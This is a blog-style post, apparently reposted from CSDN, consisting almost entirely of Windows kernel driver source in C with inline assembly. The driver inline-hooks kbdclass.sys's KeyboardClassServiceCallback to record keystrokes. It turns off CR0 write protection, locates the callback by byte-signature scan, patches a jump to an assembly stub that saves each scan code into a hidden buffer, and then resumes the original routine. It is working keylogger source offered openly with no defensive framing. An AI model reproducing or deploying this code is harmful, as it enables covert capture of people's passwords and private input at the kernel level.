vc++实现Inline hook KeyboardClassServiceCallback实现键盘记录
/*
*/
#ifndef _DBGHELP_H
#define _DBGHELP_H 1
#include <ntddk.h>
#define dprintf if (DBG) DbgPrint
#define nprintf DbgPrint
#define kmalloc(_s) ExAllocatePoolWithTag(NonPagedPool, _s, 'SYSQ')
//#define kfree(_p) ExFreePoolWithTag(_p, 'SYSQ')
#define kfree(_p) ExFreePool(_p)
#endif
#include <ntddk.h>
//#include <ntifs.h>
#include <windef.h>
#include "HookKey.h"
#include "struct.h"
#include <ntddkbd.h>
#define MAXBUF 0x15//存储键盘扫描码的缓冲区，其中第一字节为当前存储位置，
ULONG g_OldFunction;
ULONG g_uCr0;
BYTE g_HookCode[5] = { 0xe9, 0, 0, 0, 0 };
BYTE g_OrigCode[5] = { 0 }; // 原函数的前字节内容
BYTE jmp_orig_code[7] = { 0xEA, 0, 0, 0, 0, 0x08, 0x00 }; //因为是长转移，所以有个 0x08
PDEVICE_OBJECT pDevObj;
BOOL g_bHooked = FALSE;
int KeyCode=0;
PVOID hPageDataSection;
PVOID KeyBuf;
PDEVICE_OBJECT g_kbDeviceObject = NULL;
ULONG g_kbdclass_base ;
ULONG g_lpKbdServiceCallback ;
VOID ReadKeyBuf();
VOID ChangeFake_Function();
VOID
fake_OldFunction (
PDEVICE_OBJECT DeviceObject,
PKEYBOARD_INPUT_DATA InputDataStart,
PKEYBOARD_INPUT_DATA InputDataEnd,
PULONG InputDataConsumed
);
#ifdef ALLOC_PRAGMA
#pragma alloc_text(NONPAGED, fake_OldFunction)
#endif
/*
HookKey.H
Author: <your name>
Last Updated: 2006-02-12
This framework is generated by EasySYS 0.3.0
This template file is copying from QuickSYS 0.3.0 written by Chunhua Liu
*/
#ifndef _HOOKKEY_H
#define _HOOKKEY_H 1
//
// Define the various device type values. Note that values used by Microsoft
// Corporation are in the range 0-0x7FFF(32767), and 0x8000(32768)-0xFFFF(65535)
// are reserved for use by customers.
//
#define FILE_DEVICE_HOOKKEY 0x8000
//
// Macro definition for defining IOCTL and FSCTL function control codes. Note
// that function codes 0-0x7FF(2047) are reserved for Microsoft Corporation,
// and 0x800(2048)-0xFFF(4095) are reserved for customers.
//
#define HOOKKEY_IOCTL_BASE 0x800
//
// The device driver IOCTLs
//
#define CTL_CODE_HOOKKEY(i) CTL_CODE(FILE_DEVICE_HOOKKEY, HOOKKEY_IOCTL_BASE+i, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_HOOKKEY_HELLO CTL_CODE_HOOKKEY(0)
#define IOCTL_HOOKKEY_TEST CTL_CODE_HOOKKEY(1)
//
// Name that Win32 front end will use to open the HookKey device
//
#define HOOKKEY_WIN32_DEVICE_NAME_A "////.//HookKey"
#define HOOKKEY_WIN32_DEVICE_NAME_W L"////.//HookKey"
#define HOOKKEY_DEVICE_NAME_A "//Device//HookKey"
#define HOOKKEY_DEVICE_NAME_W L"//Device//HookKey"
#define HOOKKEY_DOS_DEVICE_NAME_A "//DosDevices//HookKey"
#define HOOKKEY_DOS_DEVICE_NAME_W L"//DosDevices//HookKey"
#ifdef _UNICODE
#define HOOKKEY_WIN32_DEVICE_NAME HOOKKEY_WIN32_DEVICE_NAME_W
#define HOOKKEY_DEVICE_NAME HOOKKEY_DEVICE_NAME_W
#define HOOKKEY_DOS_DEVICE_NAME HOOKKEY_DOS_DEVICE_NAME_W
#else
#define HOOKKEY_WIN32_DEVICE_NAME HOOKKEY_WIN32_DEVICE_NAME_A
#define HOOKKEY_DEVICE_NAME HOOKKEY_DEVICE_NAME_A
#define HOOKKEY_DOS_DEVICE_NAME HOOKKEY_DOS_DEVICE_NAME_A
#endif
#endif
VOID
Proxy_OldFunction (
PDEVICE_OBJECT DeviceObject,
PKEYBOARD_INPUT_DATA InputDataStart,
PKEYBOARD_INPUT_DATA InputDataEnd,
PULONG InputDataConsumed
);
typedef VOID
(*My_KeyboardClassServiceCallback) (
PDEVICE_OBJECT DeviceObject,
PKEYBOARD_INPUT_DATA InputDataStart,
PKEYBOARD_INPUT_DATA InputDataEnd,
PULONG InputDataConsumed
);
My_KeyboardClassServiceCallback orig_KeyboardClassServiceCallback = NULL;
void WPOFF()
{
ULONG uAttr;
_asm
{
push eax;
mov eax, cr0;
mov uAttr, eax;
and eax, 0FFFEFFFFh; // CR0 16 BIT = 0
mov cr0, eax;
pop eax;
cli
};
g_uCr0 = uAttr; //保存原有的 CRO 屬性
}
VOID WPON()
{
_asm
{
sti
push eax;
mov eax, g_uCr0; //恢復原有 CR0 屬性
mov cr0, eax;
pop eax;
};
}
//
// 停止inline hook
//
VOID UnHookOldFunction ()
{
KIRQL oldIrql;
WPOFF();
oldIrql = KeRaiseIrqlToDpcLevel();
RtlCopyMemory ( (BYTE*)g_OldFunction, g_OrigCode, 5 );
KeLowerIrql(oldIrql);
WPON();
g_bHooked = FALSE;
}
//
// 开始inline hook -- OldFunction
//
VOID HookOldFunction ()
{
KIRQL oldIrql;
if (g_OldFunction == 0) {
DbgPrint("OldFunction == NULL/n");
return;
}
//DbgPrint("开始inline hook -- OldFunction/n");
DbgPrint( "OldFunction的地址t0x%08x/n", (ULONG)g_OldFunction );
// 保存原函数的前字节内容
RtlCopyMemory (g_OrigCode, (BYTE*)g_OldFunction, 5);//★
*( (ULONG*)(g_HookCode + 1) ) = (ULONG)fake_OldFunction - (ULONG)g_OldFunction - 5;//★
// 禁止系统写保护，提升IRQL到DPC
WPOFF();
oldIrql = KeRaiseIrqlToDpcLevel();
RtlCopyMemory ( (BYTE*)g_OldFunction, g_HookCode, 5 );
*( (ULONG*)(jmp_orig_code + 1) ) = (ULONG) ( (BYTE*)g_OldFunction + 5 );//★
RtlCopyMemory ( (BYTE*)Proxy_OldFunction, g_OrigCode, 5);//修改Proxy_OldFunction函数头
RtlCopyMemory ( (BYTE*)Proxy_OldFunction + 5, jmp_orig_code, 7);
// 恢复写保护，降低IRQL
KeLowerIrql(oldIrql);
WPON();
g_bHooked = TRUE;
}
VOID ChangeFake_Function()
{
KIRQL oldIrql;
int i;
ULONG addr=(ULONG)fake_OldFunction;
ULONG code_fill=0xAAAAAAAA;
DbgPrint("fake_OldFunction:%x",addr);
WPOFF();
oldIrql = KeRaiseIrqlToDpcLevel();
for (i=0;i<0x200;i++)
{
if (*((ULONG*)(addr+i))==code_fill)
{
DbgPrint("AAAAAAAA Finded:%x",KeyBuf);
*((ULONG*)(addr+i))=(ULONG)KeyBuf;
}
}
DbgPrint("AAAAAAAA:%x",*((ULONG*)(addr+i)) );
KeLowerIrql(oldIrql);
WPON();
}
VOID ReadKeyBuf()
{
BYTE Index=*(BYTE*)KeyBuf;
BYTE i,j;
// BYTE _Buf[MAXBUF];
for (i=0;i<MAXBUF;i++)
{
DbgPrint("Key Code:%x",*(BYTE*)((BYTE*)KeyBuf+i));
}
}
//
// 跳转到我们的函数里面进行预处理
//
__declspec (naked)
VOID
fake_OldFunction (
PDEVICE_OBJECT DeviceObject,
PKEYBOARD_INPUT_DATA InputDataStart,
PKEYBOARD_INPUT_DATA InputDataEnd,
PULONG InputDataConsumed
)
{
__asm
{
push eax
push ebx
push ecx
push esi
xor esi,esi
mov eax, [0xAAAAAAAA];
mov ebx, [esp+0x18]
//movzx ecx, word ptr [ebx-20]//+2
mov cl , byte ptr [ebx+2];//按键码
mov ch , byte ptr [eax];//得到当前位置->ch
cmp ch , MAXBUF
jnz NotLastPlace
mov ch, 0x0;
NotLastPlace:
inc ch
movzx si,ch
mov byte ptr [eax], ch
mov byte ptr [eax+esi],cl
pop esi
pop ecx
pop ebx
pop eax
jmp Proxy_OldFunction ;//★在这一系列JMP中，没有一处使用CALL，简化了代码，增强了稳定性
}
}
//
// 代理函数，负责跳转到原函数中继续执行
//
__declspec (naked)
VOID
Proxy_OldFunction (
PDEVICE_OBJECT DeviceObject,
PKEYBOARD_INPUT_DATA InputDataStart,
PKEYBOARD_INPUT_DATA InputDataEnd,
PULONG InputDataConsumed
)
{
__asm { // 共字节
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90 // 前字节实现原函数的头字节功能
_emit 0x90 // 这个填充jmp
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90 // 这字节保存原函数+5处的地址
_emit 0x90
_emit 0x90 // 因为是长转移,所以必须是0x0080
}
}
//////////////////////////////////////////////////////////////////////////
PVOID
GetModlueBaseAdress(
char* ModlueName,
BOOL bKernelBase
)
{
ULONG size,index;
PULONG buf;
NTSTATUS status;
PSYSTEM_MODULE_INFORMATION module;
PVOID driverAddress=0;
ZwQuerySystemInformation(SystemModuleInformation,&size, 0, &size);
if(NULL==(buf = (PULONG)ExAllocatePool(PagedPool, size))){
DbgPrint("failed alloc memory failed /n");
return 0;
}
status=ZwQuerySystemInformation(SystemModuleInformation,buf, size , 0);
if(!NT_SUCCESS( status )) {
DbgPrint("failed query/n");
return 0;
}
module = (PSYSTEM_MODULE_INFORMATION)(( PULONG )buf + 1);
// 系统模块基址
if ( TRUE == bKernelBase )
{
driverAddress = module[0].Base;
DbgPrint("KernelBase:%x/n",driverAddress);
goto _x_;
}
// 其他模块基址
for (index = 0; index < *buf; index++) {
if (_stricmp(module[index].ImageName + module[index].ModuleNameOffset, ModlueName) == 0)
{
driverAddress = module[index].Base;
DbgPrint("Module found at:%x/n",driverAddress);
goto _x_;
}
}
_x_:
ExFreePool(buf);
return driverAddress;
}
ULONG GetFunctionAddr( IN PCWSTR FunctionName)
{
UNICODE_STRING UniCodeFunctionName;
RtlInitUnicodeString( &UniCodeFunctionName, FunctionName );
return (ULONG)MmGetSystemRoutineAddress( &UniCodeFunctionName );
}
//根据特征值，搜索OldFunction
ULONG FindOldFunctionAddress()
{
NTSTATUS status = STATUS_SUCCESS;
UNICODE_STRING ustrLinkName;
UNICODE_STRING ustrDevName;
PDEVICE_OBJECT pDevObj;
ULONG i, curAddr;
PUCHAR FileContent;
DWORD dwRet,dwSize;
PVOID pTmp;
LARGE_INTEGER timeout;
KEVENT Kevent;
ULONG g_kbdclass_base ;
ULONG g_lpKbdServiceCallback ;
PDEVICE_OBJECT g_kbDeviceObject = NULL;
KEYBOARD_INPUT_DATA kid;
ULONG Addr_OldFunction = 0;
ULONG code1_sp2=0x8b55ff8b, code2_sp2=0x8b5151ec, code3_sp2=0x65830845,code4_sp2=0x8b530008;
//KbdInit();
g_kbdclass_base = (ULONG)GetModlueBaseAdress( "kbdclass.sys",0 );
DbgPrint("kbdclass.sys: 0x%08lx/n", (PVOID)g_kbdclass_base);
if ( 0 == g_kbdclass_base ) {
DbgPrint("ERROR: g_kbdclass_base == 0/n");
return STATUS_SUCCESS;
}
curAddr = g_kbdclass_base;
// DbgPrint("curAddr: 0x%08lx/n", curAddr);
for (i=curAddr;i<=curAddr+0x2000;i++)
{
// DbgPrint("i: 0x%08lx/n", i);
if (*((ULONG *)i)==code1_sp2) {
if (*((ULONG *)(i+4))==code2_sp2) {
if (*((ULONG *)(i+8))==code3_sp2) {
if (*((ULONG *)(i+12))==code4_sp2) {
g_lpKbdServiceCallback=i;
break ;
}
}
}
}
}
Addr_OldFunction = (ULONG)g_lpKbdServiceCallback;
DbgPrint("KeyboardClassServiceCallback: 0x%08lx/n", (PVOID)g_lpKbdServiceCallback);
//DbgPrint("g_kbDeviceObject: 0x%08lx/n", (PVOID)g_kbDeviceObject);
return Addr_OldFunction;
}
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
UNICODE_STRING strLink;
RtlInitUnicodeString(&strLink, L"//DosDevices//devHookKey");
DbgPrint("My Driver Unloaded!");
DbgPrint("MyKeyboardClassServiceCallback invoked: %x",KeyCode);
ReadKeyBuf();
ExFreePool(KeyBuf);
IoDeleteSymbolicLink(&strLink);
IoDeleteDevice(DriverObject->DeviceObject);
UnHookOldFunction();
}
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
NTSTATUS status = STATUS_SUCCESS;
UNICODE_STRING ustrLinkName;
UNICODE_STRING ustrDevName;
DWORD dwSize,dwRet;
PVOID pTmp;
KEYBOARD_INPUT_DATA kid;
DbgPrint("My Driver Loaded!");
theDriverObject->DriverUnload = OnUnload;
RtlInitUnicodeString(&ustrDevName, L"//Device//devHookKey");
status = IoCreateDevice(theDriverObject,
0,
&ustrDevName,
FILE_DEVICE_UNKNOWN,
0,
FALSE,
&pDevObj);
if(!NT_SUCCESS(status)) {
DbgPrint("IoCreateDevice = 0x%x/n", status);
return status;
}
RtlInitUnicodeString(&ustrLinkName, L"//DosDevices//devHookKey");
status = IoCreateSymbolicLink(&ustrLinkName, &ustrDevName);
if(!NT_SUCCESS(status)) {
DbgPrint("IoCreateSymbolicLink = 0x%x/n", status);
IoDeleteDevice(pDevObj);
return status;
}
KeyBuf=(PVOID)ExAllocatePool( NonPagedPool,MAXBUF+2);
*((BYTE*)KeyBuf)=0x0;
ChangeFake_Function();
g_OldFunction = FindOldFunctionAddress();
HookOldFunction();
return STATUS_SUCCESS;
}
/***************************************************************************************
* AUTHOR : sudami [[email protected]]
* TIME : 2008/08/13 [13:8:2008 - 13:07]
* MODULE : struct.h
*
* Command:
* 驱动的头文件
*
*
* Description:
* 定义一些常量,避免重复劳动; 您可以在此添加需要的函数/结构体
*
***
* Copyright (c) 2008 - 2010 sudami.
* Freely distributable in source or binary for noncommercial purposes.
* TAKE IT EASY,JUST FOR FUN.
*
****************************************************************************************/
#pragma once
#include <ntddk.h>
typedef long LONG;
//typedef unsigned char BOOL, *PBOOL;
typedef unsigned char BYTE, *PBYTE;
typedef unsigned long DWORD, *PDWORD;
typedef unsigned short WORD, *PWORD;
//typedef void *HMODULE;
typedef long NTSTATUS, *PNTSTATUS;
typedef unsigned long DWORD;
typedef DWORD * PDWORD;
typedef unsigned long ULONG;
typedef unsigned long ULONG_PTR;
typedef ULONG *PULONG;
typedef unsigned short WORD;
typedef unsigned char BYTE;
typedef unsigned char UCHAR;
typedef unsigned short USHORT;
typedef void *PVOID;
typedef BYTE BOOLEAN;
#define SEC_IMAGE 0x01000000
//----------------------------------------------------
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemCpuInformation = 1,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3, /* was SystemTimeInformation */
Unknown4,
SystemProcessInformation = 5,
Unknown6,
Unknown7,
SystemProcessorPerformanceInformation = 8,
Unknown9,
Unknown10,
SystemModuleInformation = 11,
Unknown12,
Unknown13,
Unknown14,
Unknown15,
SystemHandleInformation = 16,
Unknown17,
SystemPageFileInformation = 18,
Unknown19,
Unknown20,
SystemCacheInformation = 21,
Unknown22,
SystemInterruptInformation = 23,
SystemDpcBehaviourInformation = 24,
SystemFullMemoryInformation = 25,
SystemNotImplemented6 = 25,
SystemLoadImage = 26,
SystemUnloadImage = 27,
SystemTimeAdjustmentInformation = 28,
SystemTimeAdjustment = 28,
SystemSummaryMemoryInformation = 29,
SystemNotImplemented7 = 29,
SystemNextEventIdInformation = 30,
SystemNotImplemented8 = 30,
SystemEventIdsInformation = 31,
SystemCrashDumpInformation = 32,
SystemExceptionInformation = 33,
SystemCrashDumpStateInformation = 34,
SystemKernelDebuggerInformation = 35,
SystemContextSwitchInformation = 36,
SystemRegistryQuotaInformation = 37,
SystemCurrentTimeZoneInformation = 44,
SystemTimeZoneInformation = 44,
SystemLookasideInformation = 45,
SystemSetTimeSlipEvent = 46,
SystemCreateSession = 47,
SystemDeleteSession = 48,
SystemInvalidInfoClass4 = 49,
SystemRangeStartInformation = 50,
SystemVerifierInformation = 51,
SystemAddVerifier = 52,
SystemSessionProcessesInformation = 53,
SystemInformationClassMax
} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS;
typedef struct _SYSTEM_MODULE_INFORMATION {//Information Class 11
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[256];
}SYSTEM_MODULE_INFORMATION,*PSYSTEM_MODULE_INFORMATION;
typedef struct {
DWORD dwNumberOfModules;
SYSTEM_MODULE_INFORMATION smi;
} MODULES, *PMODULES;
// PEB
#pragma pack(4)
typedef struct _PEB_LDR_DATA
{
ULONG Length;
BOOLEAN Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
#pragma pack()
typedef struct _PEB_ORIG {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[229];
PVOID Reserved3[59];
ULONG SessionId;
} PEB_ORIG, *PPEB_ORIG;
typedef void (*PPEBLOCKROUTINE)(PVOID PebLock);
struct _PEB_FREE_BLOCK {
struct _PEB_FREE_BLOCK *Next;
ULONG Size;
};
typedef struct _PEB_FREE_BLOCK PEB_FREE_BLOCK;
typedef struct _PEB_FREE_BLOCK *PPEB_FREE_BLOCK;
typedef struct _RTL_DRIVE_LETTER_CURDIR {
USHORT Flags;
USHORT Length;
ULONG TimeStamp;
UNICODE_STRING DosPath;
} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;
typedef struct _RTL_USER_PROCESS_PARAMETERS {
ULONG MaximumLength;
ULONG Length;
ULONG Flags;
ULONG DebugFlags;
PVOID ConsoleHandle;
ULONG ConsoleFlags;
HANDLE StdInputHandle;
HANDLE StdOutputHandle;
HANDLE StdErrorHandle;
UNICODE_STRING CurrentDirectoryPath;
HANDLE CurrentDirectoryHandle;
UNICODE_STRING DllPath;
UNICODE_STRING ImagePathName;
UNICODE_STRING CommandLine;
PVOID Environment;
ULONG StartingPositionLeft;
ULONG StartingPositionTop;
ULONG Width;
ULONG Height;
ULONG CharWidth;
ULONG CharHeight;
ULONG ConsoleTextAttributes;
ULONG WindowFlags;
ULONG ShowWindowFlags;
UNICODE_STRING WindowTitle;
UNICODE_STRING DesktopName;
UNICODE_STRING ShellInfo;
UNICODE_STRING RuntimeData;
RTL_DRIVE_LETTER_CURDIR DLCurrentDirectory[0x20];
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
typedef struct _PEB {
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
BOOLEAN Spare;
HANDLE Mutant;
PVOID ImageBaseAddress;
PPEB_LDR_DATA LoaderData;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PVOID FastPebLock;
PPEBLOCKROUTINE FastPebLockRoutine;
PPEBLOCKROUTINE FastPebUnlockRoutine;
ULONG EnvironmentUpdateCount;
PVOID *KernelCallbackTable;
PVOID EventLogSection;
PVOID EventLog;
PPEB_FREE_BLOCK FreeList;
ULONG TlsExpansionCounter;
PVOID TlsBitmap;
ULONG TlsBitmapBits[0x2];
PVOID ReadOnlySharedMemoryBase;
PVOID ReadOnlySharedMemoryHeap;
PVOID *ReadOnlyStaticServerData;
PVOID AnsiCodePageData;
PVOID OemCodePageData;
PVOID UnicodeCaseTableData;
ULONG NumberOfProcessors;
ULONG NtGlobalFlag;
BYTE Spare2[0x4];
LARGE_INTEGER CriticalSectionTimeout;
ULONG HeapSegmentReserve;
ULONG HeapSegmentCommit;
ULONG HeapDeCommitTotalFreeThreshold;
ULONG HeapDeCommitFreeBlockThreshold;
ULONG NumberOfHeaps;
ULONG MaximumNumberOfHeaps;
PVOID **ProcessHeaps;
PVOID GdiSharedHandleTable;
PVOID ProcessStarterHelper;
PVOID GdiDCAttributeList;
PVOID LoaderLock;
ULONG OSMajorVersion;
ULONG OSMinorVersion;
ULONG OSBuildNumber;
ULONG OSPlatformId;
ULONG ImageSubSystem;
ULONG ImageSubSystemMajorVersion;
ULONG ImageSubSystemMinorVersion;
ULONG GdiHandleBuffer[0x22];
ULONG PostProcessInitRoutine;
ULONG TlsExpansionBitmap;
BYTE TlsExpansionBitmapBits[0x80];
ULONG SessionId;
} PEB, *PPEB;
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
LARGE_INTEGER SpareLi1;
LARGE_INTEGER SpareLi2;
LARGE_INTEGER SpareLi3;
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ImageName;
KPRIORITY BasePriority;
HANDLE UniqueProcessId;
HANDLE InheritedFromUniqueProcessId;
ULONG HandleCount;
ULONG SpareUl2;
ULONG SpareUl3;
ULONG PeakVirtualSize;
ULONG VirtualSize;
ULONG PageFaultCount;
ULONG PeakWorkingSetSize;
ULONG WorkingSetSize;
ULONG QuotaPeakPagedPoolUsage;
ULONG QuotaPagedPoolUsage;
ULONG QuotaPeakNonPagedPoolUsage;
ULONG QuotaNonPagedPoolUsage;
ULONG PagefileUsage;
ULONG PeakPagefileUsage;
ULONG PrivatePageCount;
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
typedef struct _SYSTEM_THREAD_INFORMATION {
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientId;
KPRIORITY Priority;
LONG BasePriority;
ULONG ContextSwitches;
ULONG ThreadState;
ULONG WaitReason;
} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION;
struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientIs;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
};
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters; //windows 2000 only
struct _SYSTEM_THREADS Threads[1];
};
typedef struct _HANDLE_TABLE_ENTRY_INFO
{
ULONG AuditMask;
} HANDLE_TABLE_ENTRY_INFO, *PHANDLE_TABLE_ENTRY_INFO;
typedef struct _HANDLE_TABLE_ENTRY
{
union
{
PVOID Object;
ULONG_PTR ObAttributes;
PHANDLE_TABLE_ENTRY_INFO InfoTable;
ULONG_PTR Value;
};
union
{
ULONG GrantedAccess;
struct
{
USHORT GrantedAccessIndex;
USHORT CreatorBackTraceIndex;
};
LONG NextFreeTableEntry;
};
} HANDLE_TABLE_ENTRY, *PHANDLE_TABLE_ENTRY;
typedef struct _HANDLE_TABLE
{
ULONG TableCode;
PEPROCESS QuotaProcess;
PVOID UniqueProcessId;
ULONG HandleTableLock[4];
LIST_ENTRY HandleTableList;
ULONG HandleContentionEvent;
PVOID DebugInfo;
LONG ExtraInfoPages;
ULONG FirstFree;
ULONG LastFree;
ULONG NextHandleNeedingPool;
LONG HandleCount;
union
{
ULONG Flags;
UCHAR StrictFIFO:1;
};
} HANDLE_TABLE, *PHANDLE_TABLE;
typedef struct _OBJECT_TYPE_INITIALIZER {
USHORT Length;
BOOLEAN UseDefaultObject;
BOOLEAN CaseInsensitive;
ULONG InvalidAttributes;
GENERIC_MAPPING GenericMapping;
ULONG ValidAccessMask;
BOOLEAN SecurityRequired;
BOOLEAN MaintainHandleCount;
BOOLEAN MaintainTypeList;
POOL_TYPE PoolType;
ULONG DefaultPagedPoolCharge;
ULONG DefaultNonPagedPoolCharge;
PVOID DumpProcedure;
PVOID OpenProcedure;
PVOID CloseProcedure;
PVOID DeleteProcedure;
PVOID ParseProcedure;
PVOID SecurityProcedure;
PVOID QueryNameProcedure;
PVOID OkayToCloseProcedure;
} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER;
typedef struct _OBJECT_TYPE {
ERESOURCE Mutex;
LIST_ENTRY TypeList;
UNICODE_STRING Name; // Copy from object header for convenience
PVOID DefaultObject;
ULONG Index;
ULONG TotalNumberOfObjects;
ULONG TotalNumberOfHandles;
ULONG HighWaterNumberOfObjects;
ULONG HighWaterNumberOfHandles;
OBJECT_TYPE_INITIALIZER TypeInfo;
ULONG Key;
ERESOURCE ObjectLocks[4];
} OBJECT_TYPE, *POBJECT_TYPE;
typedef struct _OBJECT_DIRECTORY {
struct _OBJECT_DIRECTORY_ENTRY *HashBuckets[ 37 ];
ULONG Lock;
PVOID DeviceMap;
ULONG SessionId;
USHORT Reserved;
USHORT SymbolicLinkUsageCount;
} OBJECT_DIRECTORY, *POBJECT_DIRECTORY;
/*
typedef enum _KAPC_ENVIRONMENT {
OriginalApcEnvironment,
AttachedApcEnvironment,
CurrentApcEnvironment,
InsertApcEnvironment
} KAPC_ENVIRONMENT;
*/
typedef enum
{
OriginalApcEnvironment,
AttachedApcEnvironment,
CurrentApcEnvironment
} KAPC_ENVIRONMENT;
//int swprintf( wchar_t *, const wchar_t *, ... );
int wsprintf( PWSTR buffer, PCWSTR spec, ... );
//----------------------------------------------------
NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength);
NTSTATUS
NtOpenFile(
OUT PHANDLE FileHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG ShareAccess,
IN ULONG OpenOptions
);
NTSTATUS
ZwOpenProcess(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId
);
NTSTATUS
PsLookupProcessByProcessId(
IN HANDLE ProcessId,
OUT PEPROCESS *Process
);
HANDLE
PsGetProcessId(
IN PEPROCESS Process
);
NTSTATUS
RtlFormatCurrentUserKeyPath(
OUT PUNICODE_STRING CurrentUserKeyPath
);
VOID KeAttachProcess( PEPROCESS proc );
VOID KeDetachProcess();
NTSTATUS
ObReferenceObjectByName(
IN PUNICODE_STRING ObjectName,
IN ULONG Attributes,
IN PACCESS_STATE PassedAccessState OPTIONAL,
IN ACCESS_MASK DesiredAccess OPTIONAL,
IN POBJECT_TYPE ObjectType,
IN KPROCESSOR_MODE AccessMode,
IN OUT PVOID ParseContext OPTIONAL,
OUT PVOID *Object
);
//////////////////////////////////////////////////////////////////////////
// 写保护的开&关
void WPOFF();
void WPON();
原文链接： http://blog.csdn.net/yincheng01/article/details/4395104